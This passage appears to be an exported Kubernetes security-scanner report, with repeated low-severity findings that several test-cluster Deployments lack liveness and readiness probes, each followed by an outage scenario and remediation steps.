The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-pivot-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/cloud-eks-test/irsa-admin-app Workload 3.5
Container app in Deployment/cloud-eks-test/irsa-admin-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/irsa-admin-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/containersec-fixtures/containersec-probes Workload 3.5
Container app in Deployment/containersec-fixtures/containersec-probes has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/containersec-probes deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/csr-fixtures/csr-mint-app Workload 3.5
Container app in Deployment/csr-fixtures/csr-mint-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Defense Evasion Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/csr-mint-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/csr-fixtures/csr-sign-app Workload 3.5
Container app in Deployment/csr-fixtures/csr-sign-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app
Category: Defense Evasion Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-sign-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/csr-sign-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/flat-network/unmatched Workload 3.5
Container app in Deployment/flat-network/unmatched has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Defense Evasion Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/unmatched deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/foothold-fixtures/foothold-priv-app Workload 3.5
Container app in Deployment/foothold-fixtures/foothold-priv-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Defense Evasion Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-priv-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/foothold-priv-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/foothold-fixtures/foothold-quiet-app Workload 3.5
Container app in Deployment/foothold-fixtures/foothold-quiet-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app
Category: Defense Evasion Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-quiet-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/foothold-quiet-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/gw-workloads/gw-web Workload 3.5
Container app in Deployment/gw-workloads/gw-web has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/gw-workloads/gw-web
Category: Defense Evasion Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Container app in Deployment/gw-workloads/gw-web does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/gw-web deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/hookbackend-fixtures/hookbackend-injector Workload 3.5
Container app in Deployment/hookbackend-fixtures/hookbackend-injector has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Defense Evasion Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Container app in Deployment/hookbackend-fixtures/hookbackend-injector does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/hookbackend-injector deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
